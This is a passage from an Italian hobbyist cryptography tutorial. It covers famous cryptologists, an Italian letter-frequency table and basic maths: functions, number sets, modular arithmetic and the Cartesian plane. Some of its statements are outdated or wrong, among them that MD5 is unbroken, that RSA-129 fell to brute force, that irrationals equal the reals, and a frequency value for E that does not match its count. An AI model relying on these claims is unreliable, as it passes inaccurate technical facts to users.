diversi algoritmi, più o meno sicuri e dai più svariati utlizzi, quali gli
algoritmi simmetrici della serie RC (Rivest's Code o Ron's Code), tipo l'RC1 e
l'RC2 che però non sono considerati sicurissimi, e i famosi algoritmi di
hashing (di cui parleremo più avanti) della serie MD, quali l'MD4 e l'MD5,
quest'ultimo tuttora inviolato (anche se voci non confermate dicono che sia
stato rotto dall'NSA) e utilizzato dal PGP per calcolare Message Digest dei
messaggi e Fingerprint delle chiavi.
Il "mostro nero" di Ron Rivest comunque è sicuramente lui: Arjen Lenstra,
famoso crittanalista. Da quel che si legge in giro sembra che questi due
colleghi siano come cane e gatto, l'uno sfornando in continuazione algoritmi di
crittografia e l'altro tentando in continuazione di forzarli. Lenstra ha già
dato prova dell'efficacia della crittanalisi e del brute forcing contro l'RSA e
i sistemi a matrici. Inoltre ha contribuito a sviluppare l'algoritmo XTR, che
sembra rappresentare una valida alternativa all'RSA.
Degni di nota anche gli inventori dell'IDEA, Xuejja Lai e James L. Massey.
E per finire... più che un crittologo un eroe: Phil Zimmermann, colui che ha
inventato il PGP e si è battuto per diffonderlo in tutto il mondo. Non potete
nemmeno immaginare i guai che gli ha fatto passare il Governo USA per questa
sua scomoda crociata, ma lui è ancora là dove osano le aquile e ha fondato
addirittura una società, la PGP Inc., che però ha venduto rapidamente alla
McAfee.

Questa introduzione dovrebbe essere bastata a farvi capire che la crittografia
va affrontata in un certo modo. Molti ragazzini e newbies, magari anche molti
tra di voi, si sono certamente divertiti a ideare algoritmi di crittografia, e
magari ci hanno perfino realizzato su dei "programmini", convinti
dell'efficienza e forse stupiti anche dalla semplicità della loro creazione.
Ora, leggendo queste righe vi starà venendo il dubbio: "ma il mio algoritmo è
sicuro?"
.

Risposta: al 99,9% NO!

E non fate orecchie da mercante credendovi superiori e non cominciate subito ad
esultare pensando che questa risposta sia la prova che siete più intelligenti
della media "PERCHE' L'HO PROVATO TANTE VOLTE ED HO LA CERTEZZA CHE IL MIO
ALGORITMO E' SICURO"
. Certezze... puah! Beati coloro che hanno delle certezze,
perchè io nella mia vita solo una ne ho trovata... Il solo pensare di aver
trovato in poco tempo un crittosistema sicuro ANCHE SOLO ALLO STESSO MODO di
quelli inventati da scienziati e studiosi che ci hanno dedicato anni e hanno
letto gigabyte di roba sull'argomento è il massimo del lameraggio! Se siete
così sicuri del vostro algoritmo fate la prova del nove: sfidate la comunità
scientifica internazionale! Non ci vuole molto, cominciate a postare il vostro
algoritmo sui newsgroup, e allo stesso tempo preparate un messaggio, crittatelo
e sfidate il mondo a decifrarlo! Se è davvero robusto nessuno ci riuscirà se
non con anni di brute-forcing, altrimenti... farete una grossa figura di m...
Tanto per curiosità sappiate che anche Ron Rivest ha perso la sua scommessa del
famigerato RSA-129 (di cui si parlerà + avanti), naturalmente trattandosi di
RSA ci sono riusciti tramite brute-forcing, ma ci hanno impiegato 8 MESI contro
i 40 QUADRILIONI DI ANNI stimati da Rivest!!!
Con tutto questo non voglio assolutamente condannare chi si è divertito a
creare algoritmi da applicare alla protezione della privacy, anzi, è un ottimo
sistema per avvicinarsi a questa disciplina e anche io ho cominciato così. Ma
se state leggendo queste righe è ora di capire che solo di questo si tratta: di
un divertimento! E che PRIMA di cominciare a sfornare crittosistemi dovete
conoscere a menadito la materia. E solo i più ottusi possono non avere ancora
capito che PRIMA di imparare la materia bisogna avere gli "strumenti adatti".
Non solo, serve una cosa che è la più importante, e secondo me base di tutte le
scienze e tecnologie - hacking in testa - : è la SETE DI SAPERE! Ed è una cosa
che DA SOLA rende genio anche chi è biologicamente stupido (premesso che io non
credo all'intelligenza biologica, ma questa è un'altra storia...)

Ma allora la domanda è: "QUAL'E' IL GIUSTO APPROCCIO ALLA CRITTOGRAFIA ?"

Il sentimento principale che dovrebbe pervadere in chi si avvicina alla materia
secondo me è la meraviglia: ogni volta che vi trovate davanti ad una insensata
sequenza di stringhe crittate ricordate sempre che DIETRO quel cyphertext c'è
qualcos'altro... c'è una trama occulta, complessa... e il trovare la chiave
giusta può permettervi di accedere al sapere, un sapere che è SEMPRE una
vittoria - anche quando il messaggio in chiaro è un "tonto chi legge"... Nel
progettare un crittosistema dovete mettervi nei panni del crittanalista e
tentare di forzarlo. E nel forzare un crittosistema dovete sentirvi un po'
degli "esploratori", consapevoli del fatto che solo una, tra mille strade,
porta fuori dal labirinto...
E come ogni Indiana Jones che si rispetti, potete andare soltanto al Diavolo
senza l'adeguato equipaggiamento...
Andiamo dunque ad affrontare i capitoli dal 2 al 5, capitoli che contengono gli
"strumenti" di cui si parlava prima, strumenti che vanno dal padroneggiamento
di alcune nozioni matematiche fondamentali alla struttura dei dati e operatori
logici, fino alle più deliranti considerazioni su un'argomento che da sempre
affascina e spaventa: il Caos...


P.S.: alla fine ho ritrovato la tabella statistica x l'italiano. Premetto che
è ripresa da Newbies 2 e che non l'ho mai provata, quindi... la ditta non offre
garanzie! :P

-----------------------------------------------------------------
Frequenze assolute e percentuali delle lettere singole (le
frequenze percentuali sono arrotondate alla terza cifra decimale)
-----------------------------------------------------------------

LETTERA FREQUENZA RELATIVA

A ---------------> 1714 0,114
B ---------------> 160 0,011
C ---------------> 637 0,042
D ---------------> 566 0,038
E ---------------> 658 0,111
F ---------------> 141 0,009
G ---------------> 272 0,018
H ---------------> 160 0,011
I ---------------> 1563 0,104
L ---------------> 966 0,064
M ---------------> 436 0,029
N ---------------> 966 0,064
O ---------------> 1486 0,099
P ---------------> 421 0,028
Q ---------------> 85 0,006
R ---------------> 978 0,065
S ---------------> 771 0,051
T ---------------> 1024 0,068
U ---------------> 528 0,035
V ---------------> 343 0,023
Z ---------------> 123 0,008
-----------------------------------------------------------------
Totali 14998 0,998
-----------------------------------------------------------------




+----------------------------------------------

  
---------------------------------+
|COGNIZIONI MATEMATICHE DI BASE |
| . . . . . . *-----------------------------------------------------------------+
|Capitolo 2 / ...viva, viva la matematematica!...
+-----------*

Perchè la matematica?

Sin dall'antichità l'uomo è stato in qualche modo affascinato da questa materia, già in Grecia ad esempio gli architetti edificavano costruzioni in cui anche i più piccoli particolari erano in proporzioni ben definite tra di loro (il cosiddetto "rapporto aureo") e le scuole filosofiche erano in stretto contatto con la matematica, pensiamo ad Euclide, Archimede, Pitagora... in effetti l'antica società greca sembra quasi essere stata ossessionata dalla ricerca della perfezione, dal "plasmare il caos in una realtà più ordinata", impresa che era possibile solo attraverso lo studio e il padroneggiamento delle leggi che regolano il creato. E alcuni dicono anche che a causa di questa ossessione la caduta di questa impressionante civiltà sia dovuta soltanto alla scoperta di un piccolo numero, un numero che si arrotonda circa come 3,14... secondo queste teorie la scoperta dello Pi Greco avrebbe gettato nella crisi più profonda tutto il sapere dei più grandi maestri dell'antichità: questo numero rappresenta la chiave per comprendere l'equazione del cerchio. Il cerchio è una figura geometrica perfetta e ricorrente nell'universo. Il Pi Greco è dunque un numero pefetto. Ma che perfezione ci può essere in un numero che non può essere compreso? Il sapere è dunque destinato a rimanere celato alla mente dei mortali? Fino ad allora tutti i numeri ANCHE SOLO IPOTIZZATI avevano un numero limitato di cifre decimali (o non ne avevano affatto). Il Pi Greco no. E neanche un numero che Pitagora scoprì dopo, forse anche più importante ma altrettanto incomprensibile. Già gli Egizi conoscevano alcune terne di numeri, come 3 4 e 5, che se applicati ai lati di un triangolo permettevano di ottenere un angolo retto (proprietà che essi sfruttavano per dividere equamente aree di terreno). Pitagora sviluppò queste osservazioni enunciando il suo famoso Teorema, ma ben presto si accorse che a volte i risultati erano imprevedibili. E un giorno provò a calcolare la diagonale di un quadrato e scoprì che era composta da un nuovo numero: radice quadrata di 2. Questo era assurdo. Il numero non poteva essere compreso, quindi ERA FALSO, e perciò il quadrato NON DOVEVA AVERE UNA DIAGONALE - e dunque non poteva esistere. Eppure l'irrazionalità dei numeri era lì davanti a lui e tangibile e materiale come non mai - e quindi, in linea di massima, addirittura misurabile!

La scoperta dei numeri irrazionali diede una svolta all'interpretazione stessa della realtà. Le loro cifre non finiscono mai, sono come un sentiero che si snoda in una foresta buia che sai essere abbastanza lunga da non poterla percorrere in un milione di vite. Non c'è logica in tutto ciò. Quando i matematici greci si resero conto che le loro scoperte non erano dovute a un errore di calcolo, essi si trovarono faccia a faccia con le loro più recondite paure, con ciò che da sempre avevano temuto e fuggito: l'Infinito, un mostro che essi chiamavano anche Caos e che non può essere compreso nè tantomeno sconfitto. Se ne possono avere solo brevi immagini, dei flashback, ma solo con un grande sforzo e distaccandosi completamente dalla realtà del creato (in cui nessuna esperienza ci dà l'idea di infinito) per addentrarci in quella dei numeri e della geometria perfetta. Una retta, un piano... Quello è Infinito. Ma nel momento in cui si hanno queste immagini ci si rende conto all'improvviso di essere soli... soli ed isolati in mezzo ad un qualcosa di vuoto, di bianco... e tanto vasto da non riuscire neanche a comprenderlo. E allora c'è un qualcosa dentro di noi, una oscura debolezza che ci strappa via all'istante da quel mondo di idee ed immagini, ci ritiriamo con orrore da ciò che abbiamo visto e ci sforziamo di dimenticare... Oppure vediamo la realtà delle cose e decidiamo di restare in quel posto per comprenderlo a fondo, perchè abbiamo la consapevolezza che il mondo reale è solo un'immagine sbiadita, una "brutta copia" di quello fatto di rette, punti e poligoni perfetti, e che comprendere un mondo perfetto significa letteralmente poter DOMINARE quello in cui viviamo quotidianamente.

Questa è più o meno la filosofia di Platone.

Ma comprendere il mondo delle Idee è la fine di noi in quanto umani. Nel momento in cui si arriva alla verità, la nostra mente diventa come una scatola che cerca di inglobarla dentro di sè. Non ci si accorge che le sue dimensioni si espandono all'infinito, e per racchiuderla, anche la scatola comincia ad espandersi all'infinito... per non finire mai più. E questo senza mai averla acquisita del tutto.
Da lì in poi il nostro pensiero diventa come un ciclo infinito su un algoritmo, come un crash di sistema... ed è proprio quello che noi facciamo quotidianamente nella ricerca del Sapere. Impariamo cose nuove, divoriamo chilometri di caratteri alfanumerici, continuiamo a sperimentare e a ricercare ciò che ancora non è dentro la scatola.
Ma non è abbastanza, e non lo sarà mai...

Abbiate la consapevolezza che nella matematica ci sono le chiavi per controllare il Cosmo, tutto è influenzato da essa in questo universo. Ed abbiate anche la consapevolezza che la nostra è una battaglia persa in partenza: non riusciremo mai a comprendere TUTTO... Ma è come una droga ormai, un qualcosa di cui non possiamo fare a meno. E comunque la prova che la filosofia di Platone è giusta ce la troviamo davanti agli occhi: è grazie alla matematica (che rappresenta la Scienza Prima della Comprensione del Mondo) che l'umanità ha raggiunto questi livelli di organizzazione. Grazie alle immagini che ci provengono dal mondo delle Idee prepariamo vaccini per ogni tipo di malattia, costruiamo bombe atomiche, giochiamo con il codice della vita, facciamo passeggiate sulla Luna, mangiamo roba skifosa e proiettiamo OndeQuadre su schermi di vetro rivestiti di materiale elettroluminescente :)))

La crittografia in fondo non fa altro che alterare la realtà, trasforma caos in ordine e viceversa, ed è per questa sua necessità di "manipolare" che non può non andare di pari passo con la matematica. E questo capitolo è qui x questo!!! :P

Prima di affrontare il tutto una piccola parentesi: funzioni matematiche.bas
Niente di particolare, è un piccolo regalino ai lettori pazienti (ihihih), un allegato di cui si parlerà meglio in appendice. Non so se lo troverete con questo numero di OQ, ma credo proprio di no. Cmq non si sa mai, al + dovrebbe uscire insieme alle Appendici. Si tratta in pratica di un modulo .bas per Visual Basic (lo so che avreste preferito un altro linguaggio, ma accontentatevi...) che ho fatto per i miei prog e che contiene un sacco di utili funzioni e algoritmi di cui si parlerà qui, alcuni dei quali sono pallosetti da ricostruire da zero (tipo le funzioni modulari esponenziali per l'RSA). E allora, visto che sono buono (muahahahahah!!!!), ve lo allego per facilitarvi un po' i compiti x casa :PPP
Ok? Pronti? Caldi? Let's go!

NOTA IMPORTANTE: da questo capitolo si comincerà a fare uso massiccio degli spastici disegnini in ascii. Premesso che ho sempre detestato questa forma d'arte perchè nun so' assolutamente bono, per capirci qcosa su grafici & related dovete stare attenti a visualizzare questo documento con un font che mantenga una larghezza standard x tutti i caratteri. Quindi Arial, Helvetica e Times New Roman NON VANNO BENE, mentre Courier, Courier New e Fixedsys sì. Avverto inoltre che io NON SCRIVO SOTTO DOS e quindi il charset è puro ASCII e non ANSI.

===============================
*** LE FUNZIONI MATEMATICHE ***
===============================

[Il significato di "Funzione"]

Una funzione può essere definita come "una corrispondenza biunivoca tra due o più elementi, di cui una (e una soltanto) è la VARIABILE INDIPENDENTE, mentre le altre sono le VARIABILI DIPENDENTI".
Ma questo cosa significa? In pratica un funzione è una specie di "operazione" che, dati in entrata dei particolari parametri, dà in uscita uno o più risultati, in modo tale che i parametri in uscita (variabili dipendenti) dipendano strettamente da quelli messi arbitrariamente da te in entrata (variabile indipendente e altre costanti e variabili). Normalmente la variabile indipendente è indicata con la lettera x (corsiva) e quella dipendente con la y (sempre corsiva). Se indichiamo con il simbolo F una particolare funzione, scriveremo:

y = F(x)

Ovvero: y è Funzione di x. Dando in entrata x, la funzione F ci restituisce un valore (o anche più come vedremo) in y. Vediamo un esempio: consideriamo una funzione F che dando in entrata una lettera dà in uscita quella successiva nell'alfabeto. Scriveremo sempre:

y = F(x)

In tutte le funzioni è possibile compilare una tabella che mostri l'andamento della funzione stessa. Facciamo allora una tabella in cui andremo prima a riempire una colonna coi valori di x (che metteremo noi), andando quindi a calcolare i rispettivi valori di y.

x | y x | y
---+--- ---+---
a | --> a | b
b | b | c
c | c | d
d | d | e

A questo punto mettiamo di voler calcolare la F(x) della lettera t. Scriveremo:

y = F(x)

e anche:

x = t

quindi:

y = F(t)

Andando a calcolare scopriamo infine che y = u. Semplice no?

<lettore> và avanti, mica sono così idiota...

Vediamo dunque in quali casi una funzione F può dare più di una variabile in uscita. Prendiamo una funzione F' (si legge "effe primo") che stavolta, data una lettera in entrata, dia in uscita la precedente, la successiva e quella che la segue di 3 posti. Facciamo la tabella.

x | y
---+-------
b | a c e
c | b d f
d | c e g
e | d f h

E se avessimo provato a calcolare la F'(a)? Ci saremmo trovati di fronte a un problema: la F' prevede in uscita anche la lettera precedente, ma non c'è nessuna lettera che preceda a nell'alfabeto. Quindi la F'(a) non esiste e diremo che:

LA FUNZIONE F' NON E' DEFINITA IN a. (ed è così anche per le lettere x, y e z)

Nota: Se in un linguaggio di programmazione provate a estrapolare un valore da una funzione che non è definita in quel valore, il prog vi darà un messaggio d'errore.
Vediamo adesso cosa si può combinare coi numeri invece che con le lettere. Prendiamo una funzione F che dato in entrata un numero ve lo restituisce raddoppiato. Invece di scrivere il solito y = F(x), trattandosi di una relazione matematica precisa possiamo anche scrivere:

y = x * 2

<Nota spero inutile>
Per utilizzare i simboli matematici scrivendo in ASCII bisogna utilizzare qualche "acrobazia". Se esiste al mondo qualcuno che non lo sa sappiate dunque che:
- il simbolo di moltiplicazione (PER) si scrive coll'asterisco *, ma solo nei calcoli. Per indicare gli indici di una matrice ad esempio, o una qualsiasi combinazioni di dimensioni (tipo la risoluzione di un monitor) si usa la X (risoluzione: 800 X 600)
- il simbolo di divisione si scrive con la barra /
- l'elevamento a potenza si fa con l'apice ^, ovvero: 3^2 = 9

e inoltre:
- la moltiplicazione tra variabile e variabile o numero e variabile può essere omessa: x * 2 si può anche scrivere soltanto 2x
- per la radice quadrata useremo l'abbreviazione sqr (square root) ovvero: sqr(4) = 2
- per le altre radici useremo l'inverso dell'elevameno a potenza: ne parleremo dopo, ma per ora sappiate che, ad esempio, radice cubica di 27 è anche uguale a 27 elevato alla un terzo ( 27^(1/3) ). Questa è la sintassi che dovete usare anche nei linguaggi di programmazione. In Visual Basic ad esempio c'è la radice quadrata (sqr) ma le altre no. Se dovete fare la radice quinta di un numero fate numero^(1/5).

Ma la maestra non ve le ha insegnate queste cose? :P
</Nota spero inutile>

Badate che anche coi numeri vi può capitare di trovare una funzione che dà in uscita + di un valore. Tipo, la radice quadrata:

y = sqr(x)

con x = 16 ad esempio otteniamo due y: 4 e -4. Normalmente nei linguaggi di programmazione si prende in considerazione solo il valore positivo. Ma matematicamente è sbagliato, perchè anche (-4)^2 fa 16.

Consideriamo anche il fatto dell'invertibilità di una funzione, ovvero la capacità di ritrovare la x originaria partendo dalla y. Questa capacità è di importanza fondamentale nella crittografia, perchè permette in pratica di passare dal plaintext al cyphertext e viceversa. Senza entrare nel dettaglio, diciamo che non tutte le funzioni sono invertibili, perchè ce ne sono alcune (quelle goniometriche ad esempio) che per ogni y hanno infinite x, e quindi possono essere percorse "solo per un verso". Anche queste sono comunque utili per gli algoritmi one-way, di cui parleremo dopo. Invertire una funzione non è sempre facile, e dipende strettamente dal tipo e dal GRADO di una funzione. Il grado di una funzione è identificato dall'esponente + alto al quale viene elevata la x nella funzione stessa. Esempio:

y = 3x + 1 --> x elevata alla prima --> funzione di 1° grado

y = 2x^2 - 12x + 32 --> x al quadrato --> funzione di 2° grado

y = -15x^5 + 3x^3 --> x alla quinta --> funzione di 5° grado

y = 12 --> eheheh

<altra nota spero inutile>
Non smetterò mai di ripeterlo. QUALSIASI CAZZO DI NUMERO ELEVATO ALLA 0 FA SEMPRE 1. Ho detto QUALSIASI CAZZO DI NUMERO!!! Anche lo Pi Greco o il Pi Turco se è x questo. E anche qualsiasi fottutissima variabile! Tipo la nostra x: y = 12 si può scrivere anche

y = 12 ---> y = 12 * 1 ---> y = 12 * x^0

E quindi y = 12 è una funzione di grado 0. Scusate se mi inkazzo ma quando in classe la gente andava alla lavagna a scrivere che QUALCOSA^0 fa 0 ti cadevano i coglioni!
</altra nota spero inutile>

ah, dimenticavo...

<ennesima nota spero assolutamente inutile>
Quando trovate una cosa di sto' tipo:

y = 2x^2 - 12x + 32

Come li fate i conti? Se fate un po' di prove vedrete che il risultato cambia a seconda dell'ordine con cui effettuate le operazioni. E allora ripassatina sulle regolette spastiche studiate a squola...
- Per quanto riguarda la priorità nei calcoli in una equazione complessa, gli elevamenti hanno la priorità sulle moltiplicazioni, che a loro volta hanno la priorità sulle addizioni. In pratica, se trovate: 7 + 3^4 * 2 dovete prima fare 3^4 e sostituire così: 7 + 81 * 2, poi fare 81 * 2 e sostituire: 7 + 162 e quindi: 169.
- Stesso discorso per radici & c. : le radici hanno la priorità sulle divisioni, che a loro volta ce l'hanno sulle sottrazioni.
- Operazioni che sono l'inverso di altre operazioni hanno la stessa priorità dell'operazione che invertono (e quindi radici e potenze, moltiplicazioni e divisioni, addizioni e sottrazioni hanno la stessa priorità)
- Le operazioni con la stessa priorità vanno svolte nell'ordine in cui si trovano scritte.
- Le operazioni tra parentesi hanno la priorità su quelle fuori, quindi 3^((4-2)* 3 ) si risolve così:
3^((4-2)* 3)
3^(2 * 3)
3^6 = 729

E allora, con x=2:

y = 2x^2 - 12x + 32
y = 2 * 2^2 - 12 * 2 + 32
y = 2 * 4 - 24 + 32
y = 8 - 8
y = 0

Adesso per un pezzo spero basta cose che mi rendo conto offendono il livello culturale del lettore medio :PPP
</ennesima nota spero assolutamente inutile>

Ma torniamo al grado di una funzione. Senza addentrarci nell'argomento diciamo soltanto che:

UNA FUNZIONE HA TANTE x PER OGNI y QUANTO E' IL SUO GRADO

Ovvero, per ogni valore di y una funzione di primo grado avrà sempre un solo valore possibile di x capace di generare quella y, una funzione di 2° grado ne avrà sempre 2 etc... ma attenzione! Non sempre questi risultati fanno parte dell'insieme R (numeri reali). E' giunto il momento di parlare degli insiemi numerici.


============================
*** GLI INSIEMI NUMERICI ***
============================
Non voglio starci sopra a lungo, quindi acceleriamo il passo.
Ogni insieme numerico si indica con una lettera maiuscola ed ha delle determinate proprietà. Insiemi "semplici" sono sempre sottoinsiemi di insiemi "più complessi". Il passare da un insieme "semplice" al suo successivo è conveniente perchè si acquisisce la possibilità di rappresentare numeri che con insiemi più semplici non sarebbe stato possibile rappresentare. E quindi si "guadagna qualcosa", giusto? Ma come vedremo si perde anche qualcosa per ogni insieme che si scopre, e questo rappresenta la "difficoltà" iniziale del cervello umano di adattarsi a condizioni che esulano dalla realtà in cui si è evoluto, anche se il solo fatto che ci riesca dovrebbe, secondo me, già essere di per sè la prova che non riusciremo mai a costruire l'intelligenza artificiale, ma questa è un'altra storia... D'altronde la scatola va allargata un po' per volta sennò si rompe, no? :-P

- Insieme dei Numeri Naturali (N)
Questo insieme racchiude i numeri più semplici pensabili dall'uomo, e cioè gli interi positivi da 0 a infinito. Può sembrarvi pacchiano ma nella crittografia digitale si lavora esclusivamente con questo insieme.

- Insieme dei Numeri Relativi (Z)
Si aggiungono gli interi negativi. Quindi comprende tutti i numeri interi da meno infinito a infinito. Nel passare da N a Z si guadagna la possibilità di "percorrere i numeri" in un verso o nell'altro, di rappresentare debiti e crediti, variazioni in più o in meno, ma si perde l'idea che i numeri abbiano un "inizio", che in N era rappresentato dallo 0.

- Insieme dei Numeri Razionali (Q)
Si aggiungono i decimali. In Q si possono rappresentare un numero illimitato di decimali, ma sempre con un andamento periodico. Q è un insieme "denso", perchè tra due numeri ce n'è sempre un terzo, questo insieme può essere rappresentato da una "linea dei numeri", mentre prima si poteva parlare solo di "punti allineati". Si perde però l'idea di "successivo" di un numero, la possibilità di formare una sequenza determinata di numeri.

- Insieme dei Numeri Irrazionali o Reali (R)
Si aggiunge... il Caos! In questo insieme i decimali possono essere infiniti e senza nessuna relazione di periodicità. Si guadagna la possibilità di esprimere ogni grandezza geometrica, come la diagonale del quadrato o il raggio del cerchio. Si perde però la possibilità di rappresentare i numeri con una sequenza finita di simboli: in Q anche i numeri con illimitate cifre decimali potevano essere scritti come un rapporto di numeri con limitate cifre decimali (ogni numero in Q può essere infatti generato da una divisione), un numero irrazionale invece può soltanto essere approssimato, poichè non ci sono, ad esempio, due numeri razionali il cui rapporto dia Pi Greco. In genere i numeri di questo insieme sono generati da radici.

- Insieme dei Numeri Complessi (C)
Questo insieme è un po' particolare. Diciamo solo che in C si guadagna la possibilità di risolvere operazioni che non hanno soluzione negli altri insiemi. E in particolare: le radici ad indice pari dei numeri negativi. In R non esiste nessun numero, ad esempio, che elevato al quadrato dia un numero negativo, in C sì. In C una funzione matematica è sempre definita per qualsiasi valore. Ma si perde una proprietà fondamentale dei numeri: l'ordinamento, lo stabilire cioè di due numeri quale sia il maggiore. In C dire che un numero è "maggiore" di un altro non ha senso. L'insieme dei numeri complessi non si rappresenta infatti su di una "retta", bensì su un piano (Piano di Argand-Gauss). Ogni numero complesso è formato da due parti: una parte "reale" e una parte "immaginaria", a sua volta generata dalla moltiplicazione di un numero reale per l'Unità Immaginaria (che si indica con i minuscola e vale radice quadrata di meno 1). Queste due parti di cui un numero complesso è composto individuano sul piano di Argand-Gauss una coppia di coordinate che corrisponde a un punto. I numeri complessi si rappresentano su questo piano come vettori che partono dall'origine e finiscono in quel punto. Non parliamo qui delle proprietà particolari che valgono in questo insieme, che è stato scoperto relativamente da poco ed è tuttora oggetto di studio, vi anticipo solo che i numeri complessi sono di interesse nell'applicazione delle Curve Ellittiche al problema dei logaritmi discreti, che sono alla base del crittosistema Diffie-Hellmann. Un crittosistema stabile basato sulle curve ellittiche avrebbe interessanti applicazioni, ma di questo parleremo dopo...


==============================
*** OPERATORI E PROPRIETA' ***
==============================
Anche qui cercherò di andare veloce, che il tempo stringe e non è un argomento così importante. Se per il 10 non riesco a sfornare almeno st'altro capitolo l'OQ staff mi fa un kulo come un'orinotto! Ma che volete da me? IL SANGUE??? :PPP
Parliamo qui degli operatori matematici di base e delle loro proprietà.

- Proprietà Commutativa
A + B = B + A

- Proprietà Associativa
(A * B) * C = A * (B * C)

- Proprietà Distributiva
A * (B + C) = A * B + A * C

- Proprietà Intransitiva
... non me la ricordo ...

- Proprietà Invariantiva
... come sopra ...

non so neanche se esiste... non chiedetemi di andare a ripassarle perchè non ho voglia e tanto ve l'ho detto: non sono così importanti x la crittografia (a parte la commutativa).
Una cosa invece è mooolto importante: l'operatore MOD. In genere a matematica non si fa, perchè per gli studi da scuola superiore ha un interesse limitato, e questo è mooolto male! Al massimo si fa a informatica per costruire gli algoritmi, ma anche lì il classico (e praticamente unico) utilizzo che se ne fa è quello di verificare la divisibilità di un numero, tipo "inserito un numero da tastiera verificare che sia pari": se numero MOD 2 = 0 then il numero è pari... vergognoso. E inoltre è uno spreco, perchè il Mod ha un'infinità di altri utilizzi.
Mod è l'abbreviazione di "modulus" (modulo) e in pratica restituisce il resto di una divisione: 15 Mod 4 = 3, si legge "15 in modulo 4 uguale a 3", e infatti 3 è il resto di 15/4 (ricordate che lavoriamo con gli interi, e quindi 15/4 fa 3 e non 3.75).
L'importanza fondamentale del mod è data dal fatto che ci permette di evitare gli errori di overflow: un errore di overflow si verifica quando, in un linguaggio di programmazione, cercate di mettere un valore in una variabile troppo piccola per contenerlo. Tipo in vb se mettete 1000 in una variabile Byte, che "è grossa" 8 bit, e quindi accetta valori da 0 a 255. L'operatore Mod dà in uscita sempre valori da 0 a (modulo - 1), tipo: qualcosa Mod 10 sarà sempre un numero da 0 (il caso in cui il numero è perfettamente divisibile per 10) a 9, ma non potrà mai essere 10, eheheh... sarebbe bello un resto 10 in una divisione per 10... tipo se io faccio 30/10 e dico che viene 2 col resto di 10!!! Nel caso della variabile Byte spesso può convenire immagazzinare non tanto il valore 1000, quanto (specialmente nella crittografia) un valore che ci permetta tramite un processo inverso, di "ritrovare" il 1000: invece che 1000 basta mettere 1000 Mod 256 (cioè 232) nella variabile da 8 bit e non si verificheranno overflows. Un po' come quando nell'Alfabeto di Cesare se si superava la lettera 26 si "ricominciava il giro", chiaro?

<lettore> ma stò capitolo parla di matematica o di programmazione? Da quel che dici stò Mod sembra utile solo per gli algoritmi...

Risposta: e te paresse poco...
Comunque no, non serve solo a questo. In matematica il modulo serve se ci troviamo a dover lavorare in insiemi limitati particolari. Un insieme limitato contiene un numero di elementi non infinito (e quindi parliamo sempre di numeri interi). Può capitare a volte di avere la necessità di effettuare operazioni in una struttura composta SOLO da certi elementi, tipo non so... il sottoinsieme di N formato dai numeri che vanno da 0 a 255 (così esprimiamo matematicamente il problema del Byte di prima). Una struttura di questo tipo, che contiene numeri da 0 a (K - 1), è chiamata "Insieme delle Classi Resto di K", dove le classi resto sono appunto tutti i valori che può assumere un'operazione in modulo K (in questo caso K=256).
Il problema qui è: in questa struttura (che chiameremo "Cr(256)" ) posso fare TUTTE le normali operazioni con gli elementi dell'insieme? Se io faccio ad esempio 5 + 35 (che fanno entrambi parte di Cr(256)) ottengo 40, che ne fa sempre parte, ma se faccio 200 + 200 esco fuori dall'insieme! In un insieme di Classi Resto bisogna usare le OPERAZIONI MODULARI, ovvero: ADDIZIONE MODULARE, SOTTRAZIONE MODULARE, MOLTIPLICAZIONE MODULARE e così dicendo... Funzionano esattamente come quelle normali ma il risultato è in modulo K e si indicano con un simbolo diverso: il simbolo dell'operazione (tipo il + ) inscritto in un cerchietto. Aspettate che guardo su CharMap se si può fare qcosa di simile col Courier New... nisba. Prevedibile no? Ci mettono tante letterine e stronzatine inutili e le cose serie mai! ;)
Ok, allora ricorriamo all'arte dell'ASCII! Da ora in poi il simbolo di operazione modulare lo mettiamo tra parentesi: (+) =)))
E allora: 200 + 200 fa 400, ma 200 (+) 200 con modulo=256 fa 144.
Per immaginarvelo meglio pensate all'insieme N come una striscia di numeri che parte da 0 ed è infinita. Ora prendete questa striscia e cominciate ad "arrotolarla" formando un "tubo" di circonferenza M (dove M è il modulo). L'anello che avete ottenuto è il vostro insieme: ogni numero della "prima spira" dell'insieme è allineato ad altri infiniti numeri dietro di esso. Quindi un qualsiasi numero L può essere scritto come N + kM, dove k è variabile (e rappresenta in pratica il risultato intero della divisione tra L ed M) e N (l'elemento della prima spira corrispondente) non è altro che L Mod M.
Se in un Insieme di Classi Resto di K abbiamo K numero primo, la struttura prende il nome di Campo Primo o CAMPO DI GALOIS (si indica con GF(K), Galois si legge "galuà" e per curiosità sappiate che questo studioso del 1700-1800 scrisse gli ultimi appunti sulle sue ricerche la notte prima di essere ucciso in un duello...), e come osserveremo in un Campo di Galois valgono proprietà particolari.
In definitiva: il Mod si usa ogni volta che, piuttosto che superare un certo limite, convenga "ricominciare da capo". E vedrete che i casi sono molti.


==================================
*** IL GRAFICO DI UNA FUNZIONE ***
==================================
So che praticamente tutti voi hanno familiarità con il Piano Cartesiano, ma io ho un contratto e cinque figli da sfamare, quindi devo considerare anche la remota possibilità che siate stati Sette Anni in Tibet e ignoriate l'argomento =)

Scherzi a parte, la rappresentazione grafica tramite assi cartesiani è alla base... di tutto! Al giorno d'oggi ogni rappresentazione vettoriale dello spazio si effettua tramite coordinate, permettendo di accedere in maniera univoca a un punto, un'area di terreno, e in generale a qualsiasi elemento di un sistema a matrice mono-, bi- o tri-dimensionale. A causa del fatto che il nostro cervello lavora nello spazio a tre dimensioni è praticamente impossibile rappresentare QUALCOSA che abbia più di 3 dimensioni. I computer non hanno però di questi problemi: l'uomo cerca una rappresentazione attraverso i sensi per aiutarsi nella gestione degli elementi da manipolare, ma una macchina non ne ha bisogno - esegue e basta. E infatti un computer può gestire con tranquillità database ad indici pressochè infiniti e matrici a quante dimensioni ti pare. Non che l'uomo non ne sia capace, ma se vuole farlo tramite una rappresentazione deve aiutarsi con delle astrazioni.

Comunque non è il nostro problema perchè qui stiamo parlando di funzioni con solo due incognite (x e y) e quindi si lavora a due dimensioni, anche perchè fare grafici tridimensionali con l'ASCII non so quanto possa venir bene ;)
Vi ricordate di quando per tracciare l'andamento di una funzione abbiamo usato la tabella? Bene, ora andiamo oltre e cerchiamo una rappresentazione ancora più immediata e di più facile gestione. Utilizzeremo il famoso Piano Cartesiano, che altro non è che un sistema per rappresentare una funzione tramite linee e curve.

Disegnare un piano cartesiano è una boiata: prima di tutto si traccia un asse orizzontale, anzi, più che un asse una "freccia", perchè ha un verso (indica da sinistra verso destra), poi si traccia un altro asse perpendicolare al primo e che punta verso l'alto:

^
|
4 | 1
|
--------+------->
|
3 | 2
|
|

